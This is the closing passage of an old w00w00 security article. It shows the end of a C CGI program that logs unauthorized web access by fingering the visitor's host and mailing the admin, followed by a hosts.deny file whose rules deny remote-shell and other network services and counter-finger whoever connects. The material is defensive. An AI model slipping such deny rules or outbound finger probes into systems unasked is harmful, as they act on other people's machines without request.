  907.      printf("Information collected from fingering host (if any):\n");
  908.      printf("---------------------------------------------------\n\n"); 
  909.      fflush(stdout);
  910.  
  911.      if ((strcmp(addr, IP) != 0) && (strcmp(addr, "127.0.0.1") != 0))
  912.         execl(FINGERPROG, "finger", address, (char *)NULL);
  913.      else
  914.         printf("[from the local host (%s)]\n", IP);
  915.  
  916.      printf(".\n"); /* Terminate 'mail'. */
  917.     /* --------------- */
  918.  
  919.      FREEALL();
  920.      exit(0);
  921.   } else { 
  922.      close(fileno(stdin)), close(fileno(stderr)), close(fd[1]);
  923.      dup2(fd[0], fileno(stdin));  /* Send all input to the pipe's input. */
  924.      dup2(fd[1], fileno(stderr)); /* Send all errors to the pipe.        */
  925.      wait(NULL); /* Wait for child to completely finish before starting. */
  926.  
  927.      /* Setup the subject to send to mail. */
  928.      sprintf(cmdarg, "-s \"UNAUTHORIZED FROM %.*s!\"", 
  929.              sizeof(cmdarg) - 19, host);
  930.  
  931.      /* fork() another child to execute the mail program. */
  932.      if ((pid = fork()) == ERROR) {
  933.         perror("fork");
  934.         PRNSERVERR();
  935.         FREEALL();
  936.         exit(ERROR);
  937.     }
  938.  
  939.     if (pid == 0) execl(MAILPROG, "mail", cmdarg, ADMIN, (char *)NULL);
  940.   }
  941.  
  942.   printf("Content-type: text/html\n\n");
  943.   printf("<HTML><HEAD>\n");
  944.   printf("<TITLE>401 Unauthorized Access</TITLE>\n");
  945.   printf("</HEAD><BODY>\n");
  946.  
  947.   printf("<H1>Unauthorized Access</H1>\n");
  948.   printf("You are unauthorized to access the requested URL.<P>\n");
  949.  
  950.   printf("</BODY></HTML>\n");
  951.   
  952.   FREEALL();
  953. }
  954.  
  955.  
  956. Here is my hosts.deny too.........in case you wanted to see it ;)
  957. in.telnetd: ALL: /bin/mail -s "%h tried to telnet in" root
  958.  
  959. #FINGER - Noisy people
  960. #------------
  961. in.fingerd: ALL: spawn /usr/sbin/safe_finger @%h| /bin/mail -s "FINGER ATTEMPT FROM %h" root & 
  962.  
  963. #Security reasons
  964. #---------------
  965. in.ftpd: ALL: spawn /usr/sbin/safe_finger @%h| /bin/mail -s "FTP ATTEMPT FROM %h" root &
  966. in.rlogind: ALL: spawn /usr/sbin/safe_finger @%h| /bin/mail -s "RLOGIN ATTEMPT FROM %h" root &
  967. #in.telnetd: ALL: spawn /usr/sbin/safe_finger @%h| /bin/mail -s "TELNET ATTEMPT FROM %h" root &
  968.  
  969. # PORTMAP 
  970. #-------------
  971. portmap: ALL: spawn /usr/sbin/safe_finger @%h| /bin/mail -s "PORTMAP ATTEMPT FROM %h. Using %s" root &
  972.  
  973. #COMSAT
  974. in.comsat:  spawn /usr/sbin/safe_finger @%h| /bin/mail -s "COMSAT ATTEMPT FROM %h" root &
  975.  
  976. #REXECD
  977. in.rexecd: spawn /usr/sbin/safe_finger @%h| /bin/mail -s "REXEC ATTEMPT FROM %h" root &
  978.  
  979. #RSHD
  980. in.rshd:  spawn /usr/sbin/safe_finger @%h| /bin/mail -s "RSHD ATTEMPT FROM %h" root &
  981.  
  982. #NNRPD
  983. in.nnrpd: ALL: spawn /usr/sbin/safe_finger @%h| /bin/mail -s "NNRPD ATTEMPT FROM %h" root &
  984.  
  985. #RPCBIND
  986. rpcbind: ALL: spawn /usr/sbin/safe_finger @%h| /bin/mail -s "RPCBIND ATTEMPT FROM %h. Using %s" root &
  987.  
  988. #ALL: paranoid
  989.  
  990.  
  991. Well.......................................we're winding down to the end.
  992.  
  993. It has been fun and I don't have much more to say on this article.
  994. Thanks for reading, please feel free to use and distribute this, although
  995. I wish for you to leave my comments and "header" at the tops ... ya know
  996. my "copyright" :) 
  997.  
  998. You can access a few of my things at ftp.w00w00.org or
  999. www.w00w00.org. 
  1000.  
  1001.                 Shok (Matt Conover)
  1002.  
  1003. Email: shok@dataforce.net, shok@sekurity.org
  1004.  
  1005.